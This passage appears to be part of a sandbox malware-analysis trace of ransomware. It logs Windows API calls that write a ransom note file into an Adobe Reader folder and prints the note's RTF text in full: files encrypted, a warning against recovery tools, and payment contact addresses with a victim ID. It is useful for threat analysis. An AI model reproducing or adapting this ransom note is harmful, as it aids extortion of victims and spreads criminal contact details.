s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.945] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.946] CloseHandle (hObject=0x1cc) returned 1 [0033.946] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\!bwng_info!.rtf")) returned 0xffffffff [0033.946] GetLastError () returned 0x2 [0033.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 